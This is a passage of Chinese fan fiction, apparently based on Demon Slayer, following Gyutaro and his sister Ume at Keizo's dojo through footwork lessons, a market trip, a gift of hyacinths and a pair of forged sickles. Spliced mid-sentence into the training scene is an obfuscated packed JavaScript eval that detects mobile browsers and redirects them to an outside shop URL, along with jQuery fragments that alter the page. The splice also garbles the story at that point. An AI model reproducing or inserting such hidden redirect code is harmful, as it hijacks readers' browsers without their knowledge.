恋雪点点头,继续手上的针线。屋子里很安静,只有针线穿过布料的细微声响。小梅靠在恋雪身边,慢慢含着糖,眼睛半眯着,像只晒太阳的小猫。 过了一会儿,小梅忽然说,“恋雪姐姐,等你缝完衣服,我给你梳头好不好?” 恋雪一愣,“小梅会梳头吗?” “会!”小梅坐直身子,“我看过狛治哥哥给你梳头!” 这话一出口,屋子里的空气微妙地凝滞了一下。 恋雪的脸“唰”地红了,从耳根一直红到脖颈。她手里的针都差点拿不稳,“小、小梅你…你什么时候看到的?” “前天下午。”小梅浑然不觉气氛的变化,自顾自地说,“我在院子里玩,看见狛治哥哥在廊下给恋雪姐姐梳头。梳得好仔细呢,一根头发都没扯掉。” 妓夫太郎明智地保持沉默,低头开始研究榻榻米的纹路。 恋雪的脸更红了,简直要冒烟。她张了张嘴,想说点什么,又不知道该说什么。最后只能小声嘀咕,“那个…那是…我头疼,自己梳不了,狛治先生才帮忙的…” “可是狛治哥哥梳得好温柔呀。”小梅继续说,眼睛亮晶晶的,“感觉比恋雪姐姐自己梳得还好!恋雪姐姐,让狛治哥哥天天给你梳头好不好?” “小梅!”恋雪终于忍不住,轻轻捏了捏她的脸,“不许胡说。” “我才没有胡说。”小梅撅起嘴,“狛治哥哥就是对你特别好嘛。他昨天还偷偷给你夹了最大块的鱼肉,我都看见了!” 妓夫太郎觉得,自己可能真的应该找个理由离开这个房间了。 恋雪已经羞得快要钻到地缝里去了。她放下针线,把小梅搂进怀里轻轻挠她痒痒,“让你乱说,让你乱说…” 小梅“咯咯”笑着躲闪,屋子里充满欢快的打闹声。 就在这时,拉门又被拉开了。 狛治站在门口,手里端着几杯热茶。他显然听到了刚才的部分对话,表情看起来还算镇定,但耳根那一点可疑的红色出卖了他。 “我…烧了茶。”他把茶杯放在矮桌上,语速比平时快了一点,“你们喝。” 恋雪立刻坐直身子,脸颊还红着,不敢看他,“谢、谢谢狛治先生。” 狛治“嗯”了一声,转身要走。 “狛治哥哥!”小梅叫住他,“你下午还练功吗?我能看吗?” 狛治回头,看了她一眼,又看了恋雪一眼,“…练。你可以看,但别靠太近。免得误伤到你。” “好!”小梅开心地从恋雪怀里钻出来,跑到狛治身边,仰着小脸,“那狛治哥哥,你能教我梳头吗?我想给恋雪姐姐梳头,像你梳得那么好。” 狛治:“……” 恋雪:“小梅!” 妓夫太郎决定,他真的该走了,也真的该走了。 他默默起身,一点一点地往门口挪。经过狛治身边时,他听见狛治用极低的声音说,“太郎…下午我教你基本的步法。” “好。”妓夫太郎应道,迅速溜出了房间。 走到院子里,他还能听见主屋里传来小梅清脆的声音和恋雪又羞又恼的轻斥。阳光很好,晒在背上暖洋洋的。他摸了摸腰间的练功带,布料结实,“素流”的绣纹在指尖留下清晰的触感。 下午,狛治果然开始教他步法。 “素流的步法,核心是稳和变。”狛治在院子里示范,“看好了。” 他双脚分开,与肩同宽,缓缓移动。步伐不大,但每一步都扎实地踩在地上,重心转换流畅自然。前进,后退,左移,右闪…看似简单的动作,经他做出来,就有了一种奇妙的韵律感。 妓夫太郎跟着学。一开始很生硬,脚抬得太高,落地太重,重心总是晃。狛治不厌其烦地纠正,手把手教他调整姿势。 “脚掌要贴地,”狛治用脚尖点了点他的脚踝,“不要用脚跟先着地。重心往前压一点…对,这样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919625|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练了一会儿,小梅果然跑出来看了。她没靠近,就坐在廊下,托着腮看。恋雪也出来了,手里拿着针线,但眼睛时不时往院子里瞟。 狛治似乎教得更认真了。 他演示了一个侧滑步,动作快而轻,像脚下装了轮子。然后分解动作,“先移重心,再收脚,落地时膝盖微屈缓冲…” 妓夫太郎试着做。第一次差点摔倒,第二次好一点,第三次勉强有了样子。他练得很专注,额头上渗出汗珠,但没停。 小梅在廊下拍手,“哥哥好厉害!狛治哥哥也好厉害!” 恋雪也微笑,“太郎进步真快呀。狛治先生教的也好。” 狛治没说话,但妓夫太郎看见,在他做对一个动作时,狛治极轻微地点了下头。 太阳渐渐西斜。 步法练了一个时辰,狛治喊停。“今天到这里。去洗把脸,休息一下。” 妓夫太郎走到井边,用冷水泼了把脸。水很凉,刺激得精神一振。他直起身,看见恋雪正在给小梅梳头——下午玩闹时,小梅的发髻有些散了。 恋雪的手指很灵巧,三两下就重新梳好,还换了个花样,在发髻旁别了一朵新鲜的梅花——不知她什么时候去摘的。 小梅跑到井边,踮起脚尖让妓夫太郎看,“哥哥,好看吗?” “好看。”妓夫太郎说,伸手轻轻碰了碰那朵梅花。花瓣娇嫩,沾着些许水珠。 小梅满意了,又跑回恋雪身边,叽叽喳喳说着什么。 狛治收拾好院子,走过来,看了妓夫太郎一眼,“明天开始,早上加练半个时辰步法。” “好。” 晚饭是庆藏回来做的。他带回了一条新鲜的鲷鱼,说是朋友送的。鱼炖了汤,奶白色的汤汁,里面加了豆腐和野菜,鲜香扑鼻。 吃饭时,庆藏问起下午的训练。 “步法学得怎么样?” “还在练基础。”狛治说,“但太郎学得快。” 庆藏看向妓夫太郎,“感觉如何?” “比马步轻松一点。”妓夫太郎老实说,“但想做好也不容易。” “步法是根本。”庆藏夹了块鱼肉放到他碗里,“练好了,以后遇到什么事,打不过至少跑得了。” 小梅插嘴,“哥哥才不用跑呢!哥哥会打赢的!” 饭桌上充满了欢声笑语。 晚饭后,妓夫太郎帮狛治收拾碗筷。厨房里,狛治忽然说,“小梅她…很活泼。” 妓夫太郎正在擦碗,闻言动作一顿,“…给狛治哥添麻烦了?” “没有。”狛治摇头,“道场里需要这样的声音。” 他顿了顿,又说,“恋雪…很喜欢她。” 妓夫太郎听出了话里的意思。他看向狛治,狛治正低头刷锅,侧脸在昏黄的灯光下显得很柔和。 “恋雪小姐对我们也很好。”妓夫太郎说。 狛治“嗯”了一声,没再说话。 收拾完厨房,妓夫太郎回到自己的房间。他解下练功带,小心地折好,放在枕边。然后躺在被褥上,看着天花板。 手臂上的伤还在隐隐作痛,但已经是可以忽略的程度了。腰间的练功带留下的束缚感还在,像一种温柔的提醒。 他想起白天换药时说的那些往事。那些冻疮,那些伤疤,那些为了妹妹去偷去抢、挨打受辱的日子…现在回想起来,竟然有些遥远了。 不是忘记了,是那些事被新的东西覆盖了。 热乎的饭菜,干净的衣服,温暖的被褥,耐心的教导,还有甜的金平糖。 妓夫太郎翻了个身,手指碰到枕边那个丑丑的布偶——小梅缝的“练功的哥哥”。他拿起布偶,借着窗外透进来的月光看了看。 布偶的脸是用炭笔画的两道弯弯的眼睛和一个上扬的嘴角,像是在笑。 妓夫太郎把布偶放回枕边,闭上眼睛。 明天还要早起练功。 要练马步,要练呼吸,要练步法。 要变强,要保护妹妹,要报答这份善意。 要在这个家里,好好活下去。 窗外,月亮升起来了,清辉洒满庭院。道场里安静下来,只有均匀的呼吸声,和偶尔的梦呓。 在伴着爱意与希望入睡的夜晚,一切都是安宁的。 12. 谆谆教诲 清晨的道场,总是被阳光和童声叫醒的。 三个小萝卜头准时在门口排成一排,脆生生地喊着“早上好!庆藏师父!狛治哥哥!太郎哥哥!” 院子里,狛治和妓夫太郎已经热身完毕。庆藏师父冲着几个孩子招手,“进来吧!今天还是练习步法!” “是!”三个孩子齐声应道,踢踢踏踏跑进院子,规规矩矩地在庆藏师父面前站好。 妓夫太郎站在狛治身边,看着这三个年纪相仿的孩子。宗之介最活泼好动,有点瘦瘦的竹雄相对于其他两个比较腼腆,而有点胖墩墩的健太则比较爱偷懒——这几天的晨练下来,他已经能叫出他们的名字,也摸清了他们各自的脾气。 庆藏师父和狛治在前面示范,妓夫太郎和三个孩子在后头跟着学。 “看,重心放低,脚要稳,像在地上扎根…”狛治的声音平稳。 “明白啦!”孩子们齐声应道。 可没过一会儿,院子里的景象就变了味儿。本应是利落的移步,在孩子们脚下却成了歪歪扭扭的转圈。宗之介左脚绊了右脚,摇摇晃晃;竹雄想稳住,结果转得更快;健太则干脆放弃了抵抗,直接原地陀螺似地转了起来。 “啊呀!”“哎呀!”“救、救命——” 扑通!扑通!扑通! 三个小陀螺全倒在了地上,躺成一片,眼睛都成了蚊香圈。 “狛治哥哥、太郎哥哥…”领头那个叫宗之介的孩子,望着天空喃喃道,“天、天上…好多星星在转啊…” “我、我也是…”健太和竹雄晕乎乎地附和。 “庆藏师父——”宗之介扯着嗓子喊,“我们练成新招式啦!叫天旋地转流星步!” 狛治和妓夫太郎对视一眼,都从对方眼里看到了忍俊不禁的笑意。两人走过去,一个个把小家伙们拉起来,拍掉他们身上的灰。 庆藏师父在一旁看得哈哈大笑,“瞧瞧你们几个小萝卜头,路还没走稳就想跑?还得练,还得多练啊!好了好了,都先歇会儿,缓口气儿。” 正说着,主屋的拉门“哗啦”一声开了。 恋雪端着摆满点心的盘子,小梅提着一个小茶壶,两人一前一后走了出来。 “来,大家休息一下,喝点茶,吃点东西。”恋雪温柔地招呼。 “谢谢恋雪姐姐!谢谢小梅姐姐!”三个孩子立刻精神了,围拢过来。宗之介嘴最甜,接过点心时还不忘说,“两位姐姐真是人美心善!” 小梅“噗嗤”笑了,轻轻点了下他的额头“喂!你这个小鬼头,跟谁学的这些哄人的话呀?” 宗之介挠挠头,一脸老实,“跟爸爸学的呀!每次爸爸惹妈妈生气,他就这么说,‘夫人,你人美心善,这世上没有比你更温柔漂亮的人了!’然后妈妈就不生气了。” 童言无忌,惹得大家都笑了起来,连狛治的嘴角都弯起了弧度。 休息过后,训练继续。 这次孩子们进步了些,至少转圈转得不那么频繁了。虽然步法依旧歪歪扭扭,但能看出他们在努力模仿狛治和妓夫太郎的动作。太阳渐渐升高,把院子里的人影拉得短短的。 晨练结束时,道场外已经等着几位家长了。见孩子们出来,纷纷迎上来。 “庆藏师父,辛苦您了!”一位母亲恭敬地行礼,“我们家宗之介这几天回家,都会比划两下子,可高兴了。” “孩子们肯学是好事。”庆藏笑呵呵地回礼,“慢慢来,不着急。” 家长们寒暄几句,便领着孩子各自回家了,道场重新安静下来。 早饭是熬得粘稠喷香的米粥、清炒的时蔬和煎得金黄的鸡蛋。一家人围坐在被炉旁,食物的热气混着晨光,暖意融融。 吃完饭,庆藏师父说,“家里的米面还有食材不太够了,一会儿我带太郎去集市上采买。狛治,这次你留下看家。你们三个有什么想要的吗?我和太郎给你们带回来。” 小梅的眼睛“唰”地亮了,“金平糖!还有上次师父带回来的,三个颜色的丸子串串!” 恋雪放下筷子,想了想,“父亲,我想这几天开始教小梅认些字,您看看有没有适合孩童启蒙的绘本或字帖,买一两本回来就好。” 狛治摇了摇头,“我没什么需要的。师父给恋雪和小梅买就好。” 庆藏点头记下,又嘱咐了狛治几句,便带着妓夫太郎出了门。 早晨的集市已经很热闹了,人来人往,充满了生活的气息。妓夫太郎跟在庆藏身后半步,目光忍不住四处打量。这一切对他来说,依旧新鲜。 走着走着,妓夫太郎想起早上看到的一幕,犹豫了一下,开口道,“师父…” “嗯?怎么了,太郎?” “早上…我看见狛治哥在院子里,很仔细地给角落里那几丛不知道什么时候开的小野花浇水。”妓夫太郎说得很认真,“我在想…是不是可以给狛治哥买些花种?他好像…挺喜欢那些的。” 庆藏脚步顿了一下,转头看向他,宽厚的脸上露出了欣慰的笑容,“好主意啊,太郎。你这孩子,看着话不多,心倒是细。”他拍了拍妓夫太郎的肩,“成,一会儿咱们去看看。” 两人先去了糖果铺。店主是个胖乎乎的中年人,一看见庆藏就熟络地招呼起来,“哟!庆藏师父!又来给恋雪小姐买糖啊?这次隔得可有点近,我记得前几天才买过吧?” 庆藏爽朗地笑起来,把身后的妓夫太郎往前带了带,“铃木老板,这回可不一样啦!家里现在有两个小姑娘了,吃得自然快些。喏,就是这小子的妹妹,年纪小,就馋这口甜的。这是太郎,我新收的弟子,怎么样?精神吧?哈哈哈!” 铃木老板眯着眼打量了一下妓夫太郎,虽然瘦,但那股子认真又带着韧劲的眼神骗不了人,“是挺精神!看着就是个有毅力的孩子!恭喜啊庆藏师父,又得了个好苗子!” “可不是嘛!”庆藏笑得眼角的皱纹都深了几分,“我正看日子呢,挑个黄道吉日,给这孩子也办个正式的收徒仪式。到时候需要的糖果点心,可就全拜托你啦!” “这话说的,包在我身上!”铃木老板拍着胸脯,“肯定给您备最好的!定了日子可千万告诉我啊!对了…”他转身从柜台后拿出几个小纸包,不由分说塞进庆藏手里,“我夫人这几天琢磨出几种新口味的糖,您带回去给两位姑娘尝尝。这可不收钱啊!别推辞,就当是让她们帮忙品鉴品鉴,给点意见!” 庆藏这次没再推辞,笑着收下,“那就多谢铃木老板和夫人了。” 离开糖果铺,两人穿梭在集市的人流中,购置米面粮油和新鲜蔬菜。就在路过一条相对僻静的巷口时,一阵不和谐的吵闹声传了过来。 几个流里流气的混混,正围着一个少年推搡辱骂。那少年看着比妓夫太郎大不了一两岁,身形单薄,更显眼的是,他的一条腿有些不便,站姿微微倾斜。 “跛子,这个月的孝敬钱呢?赶紧拿出来!” “我、我真的没有了…上次的工钱都给我娘买药了…” “少废话!不给?那就别怪我们不客气!” 拳头眼看着就要落下。 妓夫太郎的脚步猛地停住了。那一瞬间,他的身体先于大脑做出了反应——背脊下意识地绷紧,眼神锐利地扫过那几个混混,又迅速垂下,落在自己骤然握紧的拳头上。指甲深深嵌入掌心,留下几个月牙形的白痕。那些冰冷、粘腻的记忆碎片,几乎要冲破闸门翻涌上来…相似的巷子,相似的欺凌,相似的、无处可逃的绝望。 庆藏注意到了身边少年的异样。他没有说什么,只是宽厚的手掌在妓夫太郎肩头按了按,留下一个沉稳的力道,然后便大步走上前。 “喂。”庆藏的声音不高,却带着一种不容置疑的穿透力,那只即将落下的拳头,被他稳稳架在了半空。“几个有手有脚的大小伙子,欺负一个腿脚不便的孩子,这恐怕不太好看吧?做点什么正经营生不好吗?” 混混们一愣,回头看见是个高大的中年男人,先是一怯,随即又恼羞成怒,“老家伙,少管闲事!不然连你一起收拾,别说我们欺负老的!哈哈哈!” “收拾我?”庆藏松开手,挡在那跛脚少年身前,语气平淡,“可以试试。不过在这之前,先让这孩子走。” “找打!”为首的混混啐了一口,挥拳就打。 接下来的事情,快得让妓夫太郎几乎看不清。庆藏师父甚至没有挪动太大的步子,只是几个干脆利落的格挡、擒拿,那几个看似凶狠的混混就哎哟叫着跌倒在地,爬起身后头也不回地跑没影了。 庆藏这才转过身,看着吓得脸色发白、靠墙站着的少年,语气缓和下来,“没事了,孩子。”他回头对妓夫太郎说,“太郎,把刚才铃木老板给的新糖拿一包过来。” 妓夫太郎连忙照做。 那少年却慌乱地摆手,“不、不用了!恩人您帮我赶走他们,我已经感激不尽了,怎么还能要您的东西…这、这太失礼了,不行!” 庆藏不由分说,拉过少年的手,将那包还带着糖果铺香甜气息的纸包稳稳放在他掌心,“说什么傻话。不管遇到什么事,小孩子都有吃糖的权利。拿着,甜甜嘴,压压惊。” 少年的手颤抖着,看着掌心的糖,又抬头看看庆藏温和却坚定的脸,眼眶瞬间红了。 庆藏没再多说,招呼着妓夫太郎,转身继续往集市里走,仿佛只是做了一件再平常不过的小事。 走出十几步远,身后忽然传来少年鼓足勇气的大喊: “那、那个!请问…您是道场的师父吗?” 庆藏脚步未停,只是侧了侧头。 少年声音带着颤,却异常响亮,“我、我这样的…也可以跟您学习吗?我什么都能做!别看我脚有点跛,但是干活、打扫、跑腿…我都没有问题的!!” 庆藏还是没有完全回头,只是扬起手臂,朝着身后用力挥动了一下,朗声笑道, “当然可以!我叫庆藏,是附近素流道场的师父!如果你真的想好了,随时来找我!道场的大门,永远为想变强、想走正道的孩子打开!随时欢迎你的到来!” 那少年,名叫高桥顺一的少年,站在原地,用力抹了把眼睛,朝着庆藏远去的背影,用尽力气喊道: “是!庆藏师父!我叫高桥顺一!我回家和母亲商量后,一定去!谢谢您!!!” 他的声音在清晨的集市上空回荡,像破开云层的第一缕阳光,充满了希望。 妓夫太郎跟在庆藏身边,忍不住回头看了一眼。那个 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巷子里很安静,只有远处隐约传来的市集声。阳光从两侧屋檐的缝隙漏下来,在地上切出明暗交错的光带。 庆藏转过身,面向妓夫太郎。他没有立刻说话,只是静静地看着眼前这个少年——瘦削的肩膀微微内扣,头低着,脖颈绷出倔强的线条,手指还在无意识地摩挲着掌心。 “太郎。”庆藏的声音很平和,“抬起头,看着我。” 妓夫太郎慢慢抬起头。他的眼眶有些红,但咬着嘴唇没让眼泪掉下来。 “你为什么觉得自己没用?”庆藏问,“只是因为这一次,没有立刻对他人伸出援手吗?” 妓夫太郎没说话,但眼神已经给出了答案。 庆藏轻轻叹了口气。他伸出手,宽厚粗糙的手掌落在妓夫太郎头顶,力道温和地揉了揉。 “听我说,太郎。”他的声音低沉而清晰,“如果我有和你一样的经历,从小在游郭那种地方长大,为了保护妹妹挨过数不清的打,见过太多恶意和冷漠…那么今天,当我看见刚才那一幕时,我可能连直面它的勇气都没有。” 妓夫太郎愣住了。 “我们学武,”庆藏继续说,手从头顶滑到少年肩上,轻轻拍了拍,“一方面是为了保护,另一方面是为了帮助。但在你还没有真正成长起来、还没有足够力量的时候,学武的首要目的,是保护自己不受伤害。这并没有错,更不可耻。” 他看着妓夫太郎的眼睛,一字一句地说,“而当你慢慢变强,有了能力,那时再去用自己所学帮助他人,才是水到渠成。这条路很长,你会遇到形形色色的人:有的会成为你的朋友,志同道合;有的会成为你的敌人,兵戎相见。同样的,你也会面临各种各样的选择:有些会让你一往无前,走向光明;有些则会让你万劫不复,坠入深渊。” 他的手掌温暖而有力:“在这种时候,太郎,你要学会开口,去向身边的人求助。去问问狛治,问问恋雪,甚至是问问小梅——或者直接来问我。不要把所有事都憋在心里。很多时候,你一个人想不通、看不透的,旁人一句点拨,或许就能让你有完全不一样的发现。” 巷子里的风轻轻吹过,带来远处烤红薯的甜香。 妓夫太郎怔怔地看着庆藏。师父的脸在光影里显得格外清晰——眼角的细纹,下巴的胡茬,还有那双总是带着温和笑意的眼睛。 那些压在心口的、沉甸甸的东西,好像被这番话轻轻撬开了一道缝隙。有光透进来,暖洋洋的。 “…我明白了,师父。”他听见自己的声音,比刚才稳了一些。 “明白就好。”庆藏收回手,重新迈开步子,“走吧,还得去买花种呢,你不是说要给狛治带吗?” “嗯!”妓夫太郎用力点头,快走两步跟上。 两人穿过巷子,重新汇入热闹的集市。阳光越来越暖,照在人身上,驱散了清晨最后一丝凉意。 妓夫太郎走在庆藏身边,目光扫过两旁琳琅满目的摊位。卖蔬菜的老婆婆笑着招呼,鱼摊的老板正麻利地刮鳞,早餐铺的蒸笼冒着腾腾热气… 他的视线最后落在庆藏腰间——那根黑色的练功带随着步伐轻轻摆动,“素流”二字在阳光下清晰可见。 他忽然想起刚才顺一鞠躬时眼里那簇光,想起铃木老板爽朗的笑声,想起宗之介他们摔成一团还嚷嚷着“天旋地转流星步”的傻样,想起早上小梅分点心时雀跃的表情,想起狛治教步法时一丝不苟的侧脸,想起恋雪温柔地说“想教小梅识字”… 这些画面一帧帧闪过,最后定格在庆藏刚才揉他头发时,掌心那份沉稳的温度上。 妓夫太郎深吸一口气。 集市嘈杂的声音涌入耳中,却不再让人慌乱。他握了握拳,掌心那些指甲印已经不疼了。 他加快脚步,与庆藏并肩而行。 前方,卖花的店已经能看见。店门外摆了各种各样的花朵,各种颜色、各种形态…还有各样种子装在小纸袋里,整齐排列,在阳光下等待着被带走,被种下,在某个春天破土而出,开出新的花。 就像一些别的什么,也在悄悄生根,等待着绽放的时刻。 13. 满载而归 从集市的主街拐进一条安静的巷子,喧嚣声便像被隔在了墙外。空气里浮动着淡淡的、湿润的泥土气息,混着一股似有若无的清甜花香。庆藏师父领着妓夫太郎,在一家小小的花店前停下了脚步。 店门敞开着,门前用木板搭成的架子上,错落有致地摆满了各色盆栽。有开得正盛的雏菊,有挂着晶莹水珠的兰草,还有很多盆妓夫太郎叫不上名字、但颜色极为鲜亮的花。花香并不浓烈,是许多种淡淡的气息交织在一起,清新又柔和,闻着让人心里软软的。 “哟,庆藏师父!今儿个怎么这么早?” 一个头发花白、腰背微驼的老婆婆从店内探出身,脸上带着和煦的笑,手里还拿着把小喷壶??。她的目光在庆藏身后的少年身上,好奇地打量着,“这个孩子是…?” “早啊,石田婆婆!” 庆藏爽朗地回礼,侧身把妓夫太郎轻轻往前带了带,“这是我新收的弟子,叫太郎。今天带他出来采买,顺路过来看看。” 他拍了拍妓夫太郎的肩膀,语气熟稔地对婆婆说,“婆婆,我还有点别的东西要去隔壁街买,能让太郎在您这儿等一会儿吗?麻烦您照看一下。” “瞧您说的,什么麻烦不麻烦的。” 石田婆婆连连摆手,脸上笑纹更深了,“快去吧,这孩子交给我,放心。” 庆藏点点头,又对妓夫太郎叮嘱了一句“太郎,你在这儿等我,有什么事和婆婆说就行,石田婆婆人很好的”,便转身大步流星地走了。 留下妓夫太郎一个人站在花店门口,他忽然有些手足无措。他下意识地挺直背脊,双手垂在身侧,目光不敢乱瞟,只盯着自己脚前的一小块地方。 “孩子,别在门口站着呀,进来坐。” 石田婆婆的声音温和地传来。她搬来一个小小的竹凳,放在店门内侧不碍事的地方,“来,坐这儿。站着多累呀。” 妓夫太郎迟疑了一下,还是依言走过去,小心地坐下了。凳子很矮,他双手规规矩矩地放在膝盖上,背挺得笔直。 “以前没见过你呢,是最近才跟了庆藏师父的吧?” 婆婆一边给手边一盆紫罗兰喷水,一边和他闲聊,语气自然得像在拉家常, “庆藏师父啊,可是个大好人。我和我家老头子身子骨不行了,搬不动这些花盆,每次进货或者天气不好要收摊的时候,庆藏师父看见了,总会来搭把手。有时候他自己忙,就让狛治那孩子来。都是顶好的人啊。” 妓夫太郎听着,心里那股紧绷感不知不觉松了些。他低声回答,“嗯…我和妹妹小梅,是被庆藏师父在雪夜里捡回来的。现在…住在道场。” 喷水的手顿了顿。石田婆婆转过身,目光落在少年瘦削的肩胛和低垂的眼帘上,那眼神里没有探究,只有了然和一丝不易察觉的疼惜。 “好孩子…” 她轻轻叹了口气,声音更柔和了,“和妹妹都吃了不少苦吧?这世道…总是不太安宁。咱们这些普通人,能安安稳稳地过日子,家人平平安安的,就是天大的福气了。” 她放下喷壶,用围裙擦了擦手,走到妓夫太郎面前,微微弯下腰,“过去的事,就让它留在过去。往后啊,都是新日子了。你和妹妹,还有庆藏师父、恋雪小姐、狛治他们,好好地过。” 婆婆的话像最温润不过的溪水,缓缓流过心间。妓夫太郎没吭声,只是把头垂得更低了些,喉头有些发哽。 “好孩子,你在这儿坐会儿,等我一下。” 石田婆婆说着,转身走向店门外那些灿烂的盆栽。她弯着腰,细细地端详着,手指轻轻拂过花瓣和叶片。最后,她捧起一盆花走了回来。 那花栽在一个朴素的陶盆里,植株不高,但长得精神。细长的叶子碧绿挺拔,中间抽出一根花茎,上面缀满了鼓鼓的、蓝色的小花苞,有几朵已经微微绽开,露出更深一些的蓝色花瓣,散发着清冽干净的香气。 “这个花啊,叫风信子。” 婆婆把花盆递到妓夫太郎面前,“特别是这蓝色的,人们都说,它寓意着新生和希望。这盆花啊,婆婆送给你们兄妹俩,就当是庆祝你们有了新的生活,新的家。是我和我家老头子的一点心意,孩子,收下吧。” 妓夫太郎愣住了,看着眼前那盆生机勃勃的蓝色小花,双手悬在半空,接也不是,不接也不是。“不…婆婆,这太贵重了…我们不能…” “什么贵重不贵重的。” 石田婆婆不由分说,把花盆稳稳地塞进他手里。陶盆温润的触感和泥土的微凉透过掌心传来,沉甸甸的。既落在了妓夫太郎的手上,也落在了他的心上。 “以后都是街坊邻居了,不过是一个小小的见面礼罢了。好孩子,你要实在过意不去,往后有空了,就像庆藏师父和狛治那孩子一样,路过时进来陪我们两个老的说说话,需要时搭把手搬搬花,这就够啦。好孩子,拿着吧。” 妓夫太郎捧着那盆蓝色风信子,指尖微微发抖。花苞挨挨挤挤地簇拥着,像一群安静又充满生命力的小小星辰。他低着头,看了好久,才出声道, “谢谢婆婆。” 石田婆婆慈爱地笑了,拍了拍他的肩膀。 与此同时,庆藏师父则去了铁匠铺。 与花店所在的静谧小巷不同,铁匠铺所在的街巷总能听到有节奏的敲击声,空气里也弥漫着炭火和金属特有的气味。 庆藏熟门熟路地拐进一家挂着“宫本锻冶”招牌的铺子。铺子虽然看着门面不大,但是里面却别有洞天。 店里炉火正旺,映得墙壁一片暖红。一个赤着上身、正举着铁锤的男人,对着一块烧红的铁料反复捶打,火星随着每一次敲击四溅开来,汗水顺着他古铜色的结实背脊流淌。 “宫本!” 庆藏站在门口,提高嗓门喊了一声。 被称为宫本的铁匠手下的动作一顿,锤子停在半空。他转过头,看清来人,被炉火熏得黑红的脸上立刻绽开一个爽朗的笑容,露出一口白牙。 “哟!庆藏!稀客啊,今天怎么有空过来?不是该带着你那宝贝徒弟们操练的时候吗?” 他放下锤子,将半成型的铁料插回炉火中保温,用肩膀上的汗巾胡乱抹了把脸,迎了上来。 “有事找你帮忙。” 庆藏也不绕弯子,走进铺子里,顺手拉过一张板凳坐下,“我新收了个孩子。” “又收了一个?” 宫本挑了挑眉,也拖过张板凳坐下,拿起旁边的水壶给庆藏倒了碗凉茶,“你要是再收几个孩子,我看你那个道场就干脆改成收容所算了。先是狛治那小子,这又来了谁?” “一对兄妹,雪夜里捡的。” 庆藏接过茶碗,喝了一大口,表情认真起来,“哥哥叫太郎,年纪和狛治刚来那会儿差不多大。但那孩子…和狛治还不太一样。” “哦?怎么个不一样法?” 宫本也来了兴趣。 “太郎他的身手有种野性和灵巧,不是素流这种规规矩矩的路子。” 庆藏比划着,“观察了他这些天,素流的拳脚根基他能学,但我总觉得,有更适合他的东西。而且初见那晚,他手里死死攥着把旧镰刀护着妹妹,那架势…不是胡乱拿的。” 宫本摸着下巴上短短的胡茬,眼神变得专注,“你是说…他想用,也会用镰刀这类武器?” “有这苗头。” 庆藏点头,“那孩子骨子里有股狠劲,是为了保护重要的人什么都敢拼的狠劲。这两个孩子原先在游郭…你也知道那地方的孩子活下来有多不容易。所以太郎会用镰刀、能打架我也不觉得太稀奇。 但那孩子需要引导,也需要合适的器来辅助他。拳脚或许能护身,但若真遇上事,有一件真正称手、能发挥他长处的武器,对他、对他在意的人来说,都更重要。” 他看向宫本,目光坦诚,“所以我来找你。单纯的镰刀不行,得是为战斗打造的,要轻、要快,也得足够凶。得是能配合那孩子那种灵活身法的延伸,而不是累赘。我这老友里,论打制兵器的眼光和手艺,你最懂。” 宫本没有说话,只是眯着眼,手指无意识地在膝盖上敲打着,似乎在脑海里勾勒着什么。炉火在他眼中跳跃。半晌,他猛地一拍大腿,发出“啪”的一声响。 “巧了!” 他站起来,转身走向铺子后头一个锁着的旧木柜,“前些日子,也不知道哪根筋搭错了,心里老想着镰刀这种偏门兵器,手痒就打了一对。打完又觉得,这年头谁用这个?挂店里也未必卖得出去,正想着是不是回炉算了。” 他掏出钥匙打开柜子,从里面取出一个用厚油布裹着的长条物件,解开几层绑绳。“你来看看,是不是你说的那种感觉。” 油布掀开,一对镰刀静静躺在里面。宫本没有立刻拿出来展示细节,只是让庆藏看个大概的形制。 庆藏俯身细看。即便只是粗略一观,也能看出其与农具的迥异——线条更加凌厉流畅,弧线的弧度透着一种隐约的凶意,材质在炉火余光下泛着光泽,绝非凡铁。 “好器型!” 庆藏忍不住赞了一句,“分量如何?” “我掂量着,给身法灵巧的少年人用,正合适。重了滞涩,轻了飘忽。” 宫本的语气带着匠人特有的自信,随即又皱眉,“不过,这毕竟是按我一时想法打的,没具体的主顾。你真觉得那孩子能用得来?别伤着那孩子,也别糟蹋了我这东西。” “我相信那孩子的潜力,也相信你的手艺。” 庆藏直起身,神色郑重,“开个价吧,宫本。按规矩来。” “开什么价!” 宫本大手一挥,脸板了起来,“庆藏,你跟我还来这套?当初我老娘病重,是你二话不说垫了药钱;铺子屋顶漏雨,也是狛治那小子冒着雨帮我修补。 这对镰刀,与其放在我这里生灰,或者卖给不懂的人当摆设,不如给了对的人。武器这东西,它不和别的东西一样,最重要的是遇见合适的使用者,那才算是真正‘活’了。没有人使用或者使用不好,那也只是一堆废铁! 你拿回去给那孩子试试,合用,就是它最好的归宿!不合用,你再带着那孩子来见我,我给他打造一副合适的!但是钱的事别提!” 庆藏还想坚持,宫本却已经不由分说地用一块干净的厚布将镰刀重新裹好,塞进他手里,推着他往外走,“行了行了,快拿走!别耽误我干活!记得让那孩子好好用,别辱没了我的手艺就行!有空带他来给我瞧瞧!” 庆藏被老友这“强买强卖”的架势弄得哭笑不得,心里却是一片暖意。他知道宫本的脾气,再推辞反而矫情。 他紧紧握住手中的布包,感受着里面兵器的分量,认真点头,“好,宫本,这份情我记下了。改天一定带那孩子来谢你。” “快走快走!” 宫本装作不耐烦地摆手,嘴角却咧开了笑。 庆藏抱着包裹,转身离开了铁匠铺。身后,有节奏的敲击声再次响起,叮叮当当,仿佛在为某种新的可能敲响序章。 他掂了掂手里的分量,想起太郎那双在雪夜里依旧亮得惊人的眼睛,步伐不由得加快了一些。 再看花店这边。 婆婆和太郎闲聊着,突然婆婆像是想起什么似的,问,“对了,太郎,今天庆藏师父带你过来,是想买花吗?他平时都是傍晚我们收摊时才来帮忙的。今天难得大早上就看见他。” 